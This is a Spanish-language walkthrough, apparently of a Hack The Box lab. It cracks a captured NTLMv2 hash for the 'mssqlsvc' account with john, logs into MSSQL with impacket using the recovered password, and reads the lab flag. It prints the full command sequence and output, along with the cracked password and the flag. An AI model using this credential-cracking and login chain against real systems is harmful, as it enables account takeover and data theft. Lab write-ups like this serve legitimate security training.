[SMB] NTLMv2-SSP Hash : mssqlsvc::WIN-02:436848c611e4eb0e:6F73CDD8EB59E11B5A9A82F5D8DD6603:010100000000000080CAB85E8096DA01278C5F868B8F4EC00000000002000800380036004100540001001E00570049004E002D004B0055004A0035004D0038004500450057003200350004003400570049004E002D004B0055004A0035004D003800450045005700320035002E0038003600410054002E004C004F00430041004C000300140038003600410054002E004C004F00430041004C000500140038003600410054002E004C004F00430041004C000700080080CAB85E8096DA0106000400020000000800300030000000000000000000000000300000FD38B49484E05CBAB76EA1D2A001E19278B1992A0508CC3D1328A13E6400B3F90A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00320030000000000000000000
Obtenemos el hash del usuario mssqlsvc, pero necesitamos crackearlo. Vamos a guardar el hash completo en un archivo hash.txt
, y vamos a usar john para crackearlo:
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
princess1 (mssqlsvc)
1g 0:00:00:00 DONE (2024-04-24 20:27) 16.66g/s 1092Kp/s 1092Kc/s 1092KC/s 123456..sabrina7
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
Obtenemos la contraseña en plano: princess1
🏆
Pregunta 2
Enumera la base de datos "flagDB" y envia la flag como respuesta.
Vamos a loguearnos con las credenciales que hemos descubierto:
sudo impacket-mssqlclient -p 1433 mssqlsvc@10.129.203.12
Impacket v0.11.0 - Copyright 2023 Fortra
Password: princess1
[*] Encryption required, switching to TLS
[-] ERROR(WIN-02\SQLEXPRESS): Line 1: Login failed for user 'mssqlsvc'.
No nos deja acceder porque tenemos que especificar la opción -windows-auth
, ya que se autentica por Windows:
sudo impacket-mssqlclient -p 1433 mssqlsvc@10.129.203.12 -windows-auth
Impacket v0.11.0 - Copyright 2023 Fortra
Password: princess1
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(WIN-02\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(WIN-02\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL (WIN-02\mssqlsvc guest@master)>
Accedemos correctamente y enumeramos las tablas para acceder a la flag 🏆
SQL (WIN-02\mssqlsvc guest@master)> use flagDB
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: flagDB
[*] INFO(WIN-02\SQLEXPRESS): Line 1: Changed database context to 'flagDB'.
SQL (WIN-02\mssqlsvc WINSRV02\mssqlsvc@flagDB)> SELECT name FROM sys.tables;
name
-------
tb_flag
SQL (WIN-02\mssqlsvc WINSRV02\mssqlsvc@flagDB)> SELECT * FROM tb_flag
flagvalue
------------------------------------
b'HTB{!_l0v3_#4$#!n9_4nd_r3$p0nd3r}'
Última actualización
¿Te fue útil?